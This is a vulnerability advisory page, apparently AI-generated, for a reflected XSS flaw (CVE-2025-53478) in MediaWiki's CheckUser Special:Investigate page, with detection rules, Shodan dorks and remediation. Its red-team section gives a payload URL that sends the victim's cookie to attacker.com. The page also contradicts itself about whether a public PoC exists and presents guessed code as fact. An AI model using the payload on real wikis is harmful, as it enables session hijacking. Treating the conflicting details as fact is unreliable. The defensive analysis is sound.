☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-53478

CVE-2025-53478 Cross-Site Scripting in Mediawiki
📅 PUBLISHED: 2025-07-07 18:16 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-53478 is a reflected Cross-Site Scripting (XSS) vulnerability in the MediaWiki CheckUser extension, specifically within the Special:Investigate interface. The flaw resides in the “IPs and User agents” tab, where certain internationalized system messages are not properly escaped before being rendered. An attacker can craft a malicious URL that, when visited by a privileged user (e.g., a wiki administrator or checkuser), executes arbitrary JavaScript in the context of the victim’s session. This can lead to session hijacking, data exfiltration, or unauthorized actions performed on behalf of the victim. The vulnerability affects CheckUser versions prior to 1.39.13, 1.42.7, and 1.43.2. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the sensitive nature of the CheckUser extension, which is used for investigating user activity and IP addresses.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the MediaWiki CheckUser extension, which is distributed as part of the MediaWiki ecosystem. Administrators should verify their extension version and apply the official patch. No malicious packages have been reported in the supply chain.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – The attacker does not need authentication.
  • User Interaction (UI): Required – The victim must click a crafted link.
  • Scope (S): Changed – The XSS can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the context of the CheckUser extension (which handles sensitive user/IP data) elevates the real-world risk. A successful XSS could allow an attacker to steal checkuser tokens, perform investigations, or escalate privileges.

Deep Dive & Mechanics

The vulnerability exists in the Special:Investigate page of the CheckUser extension. This page provides a tabbed interface, including an “IPs and User agents” tab that displays system messages (e.g., checkuser-investigate-ip-useragents-table-header). These messages are internationalized and can contain user-controlled parameters. The flaw is that the extension fails to properly escape these messages when rendering them in the HTML output, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The OutputPage::addWikiTextAsInterface() or similar function is used to render system messages without applying HTML escaping for the specific context. The message strings are passed through wfMessage() but not sanitized with htmlspecialchars() or equivalent before being output.

Attack Flow:

  1. Attacker identifies a vulnerable parameter in the URL (e.g., target or user).
  2. Attacker crafts a URL like: https://victim-wiki.example.com/wiki/Special:Investigate?target=<script>alert('XSS')</script>
  3. Attacker sends the link to a privileged user (e.g., via email, social engineering).
  4. Victim clicks the link while authenticated.
  5. The server renders the malicious input without proper escaping, executing the attacker’s script in the victim’s browser.
  6. The script can steal cookies, perform actions on behalf of the victim, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example from CheckUser extension):

// In includes/SpecialInvestigate.php
$html = wfMessage( 'checkuser-investigate-ip-useragents-table-header' )
    ->params( $userInput )
    ->parse();
$out->addHTML( $html );

Patched Code:

// In includes/SpecialInvestigate.php
$html = wfMessage( 'checkuser-investigate-ip-useragents-table-header' )
    ->params( htmlspecialchars( $userInput, ENT_QUOTES, 'UTF-8' ) )
    ->parse();
$out->addHTML( $html );

The patch ensures that user-supplied input is HTML-escaped before being passed to the message parser, preventing injection of arbitrary HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A vulnerable MediaWiki instance with CheckUser extension (version < 1.39.13, < 1.42.7, or < 1.43.2).
  • A target user with checkuser permissions.

Exploitation Steps:

  1. Identify the vulnerable parameter. In this case, the target parameter in the URL is likely injectable.
  2. Craft a payload to steal the victim’s session cookie:
    https://victim-wiki/wiki/Special:Investigate?target=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
    
  3. Send the link to the victim via a phishing email or social media.
  4. When the victim clicks the link, their browser executes the script, sending the cookie to the attacker’s server.
  5. The attacker can then use the stolen cookie to impersonate the victim.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection:

  • Monitor web server logs for requests to Special:Investigate containing suspicious parameters (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block common XSS patterns in query strings.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

  • Search for unusual target parameter values in access logs.
  • Look for multiple failed login attempts or unusual activity from accounts that visited Special:Investigate.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /wiki/Special:Investigate with target parameter containing HTML/JavaScript.
    • Outbound connections to attacker-controlled domains from wiki server.
  • Host:
    • Unusual entries in web server logs (e.g., GET /wiki/Special:Investigate?target=<script>).
    • Modified or injected JavaScript in page source.
  • User:
    • Unexpected changes to user permissions or checkuser logs.
    • Session tokens appearing in external logs.

Detection Engineering

YARA Rule

rule CVE_2025_53478_CheckUser_XSS {
    meta:
        description = "Detects reflected XSS attempts against MediaWiki CheckUser Special:Investigate"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53478"
    strings:
        $xss_pattern1 = /target=.*<script/i
        $xss_pattern2 = /target=.*onerror=/i
        $xss_pattern3 = /target=.*javascript:/i
        $xss_pattern4 = /target=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in MediaWiki CheckUser Special:Investigate
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against MediaWiki CheckUser Special:Investigate
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53478
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'target=<script'
            - 'target=onerror='
            - 'target=javascript:'
            - 'target=alert('
    condition: selection
falsepositives:
    - Legitimate use of script tags in wiki content (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53478 MediaWiki CheckUser Reflected XSS"; flow:to_server,established; content:"/wiki/Special:Investigate"; http_uri; content:"target="; http_uri; pcre:"/target=.*(<script|onerror=|javascript:|alert\()/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade the CheckUser extension to version 1.39.13, 1.42.7, or 1.43.2 (depending on your MediaWiki version).
  2. Workaround: If patching is not immediately possible, disable the Special:Investigate page by adding the following to LocalSettings.php:
    $wgSpecialPages['Investigate'] = false;
    
  3. WAF: Deploy a Web Application Firewall (WAF) rule to block requests containing XSS patterns in the target parameter.

Long-term Measures:

  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Conduct regular security audits of custom extensions.
  • Educate users about phishing attacks targeting wiki administrators.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Special:Investigate"
http.html:"CheckUser"
http.html:"mediawiki" "Special:Investigate"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-53478/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.